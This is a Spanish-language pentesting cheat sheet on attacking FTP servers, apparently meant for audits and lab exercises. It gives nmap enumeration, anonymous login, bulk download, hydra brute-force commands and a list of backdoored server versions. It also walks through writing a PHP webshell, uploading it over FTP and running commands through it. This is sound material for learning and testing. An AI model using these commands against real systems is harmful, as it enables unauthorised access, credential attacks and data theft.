Saltar al contenido
Protocolos
Índice de contenidos

Protocolo FTP (File Transfer Protocol)

Puerto por defecto: 21/TCP (control) · 20/TCP (datos en modo activo)

FTP es un protocolo para transferir archivos entre cliente y servidor. En auditorías es un objetivo jugoso: puede permitir acceso anónimo, exponer archivos sensibles, tener credenciales débiles o correr versiones vulnerables a RCE.


Enumeración

Lo primero, identifica la versión con Nmap (una versión concreta puede tener un exploit público):

nmap -p21 -sCV --script="ftp-* and not brute" <IP>

Acceso anónimo

El fallo más común. Prueba el usuario anonymous con cualquier contraseña:

ftp <IP>
# Usuario: anonymous
# Contraseña: (cualquiera, p.ej. anonymous@)

O directamente con el cliente no interactivo:

curl ftp://<IP>/ --user anonymous:anonymous

Consejo: si entras como anónimo, descarga TODO para revisarlo offline. A menudo hay backups, configuraciones o credenciales.


Comandos dentro de la sesión FTP

ls              # listar
cd <dir>        # cambiar directorio
binary          # modo binario (IMPRESCINDIBLE para ejecutables/zip/imágenes)
get <archivo>   # descargar uno
mget *          # descargar todos
put <archivo>   # subir (si tienes permiso de escritura)
prompt off      # no preguntar en cada mget/mput
exit

Nota: si vas a descargar binarios o comprimidos, activa binary primero. En modo ASCII los archivos se corrompen y pierdes horas sin saber por qué.

Descarga recursiva de todo el servidor

wget -m --no-passive ftp://anonymous:anonymous@<IP>

Fuerza bruta

Solo si tienes un usuario válido o es la vía esperada:

hydra -l <usuario> -P /usr/share/wordlists/rockyou.txt ftp://<IP>
hydra -L usuarios.txt -P rockyou.txt ftp://<IP> -t 4

Explotación por versión vulnerable

searchsploit <servidor_ftp> <versión>

Casos clásicos que aparecen en labs:

Software / versiónVulnerabilidad
vsftpd 2.3.4Backdoor: un usuario acabado en :) abre una shell en el puerto 6200.
ProFTPD 1.3.3cBackdoor con RCE.
ProFTPD 1.3.5mod_copy (SITE CPFR/CPTO): copiar archivos arbitrarios → webshell.

Subir una webshell vía FTP

Si tienes escritura y el FTP sirve el mismo directorio que un servidor web (/var/www/html), sube una shell:

# Crea la shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Súbela
curl -T shell.php ftp://<IP>/ --user usuario:pass
# Ejecútala vía web
curl "http://<IP>/shell.php?cmd=id"

FTP sobre TLS (FTPS)

Si el servicio exige cifrado, usa lftp:

lftp -u <usuario>,<pass> <IP>
# dentro: set ssl:verify-certificate no

Herramientas relacionadas

HerramientaDescripción
ftp / lftpClientes FTP interactivos.
curl / wgetDescarga/subida no interactiva y recursiva.
nmap (ftp-*)Scripts NSE de enumeración FTP.
hydraFuerza bruta de credenciales.
searchsploitExploits por versión.

Consejo: el flujo mental ante un FTP es: (1) ¿anónimo? → descárgalo todo; (2) ¿qué versión? → searchsploit; (3) ¿puedo escribir y hay web? → webshell; (4) fuerza bruta solo como último recurso. Mira siempre si los archivos del FTP coinciden con la web (puerto 80): esa combinación es un camino directo a RCE.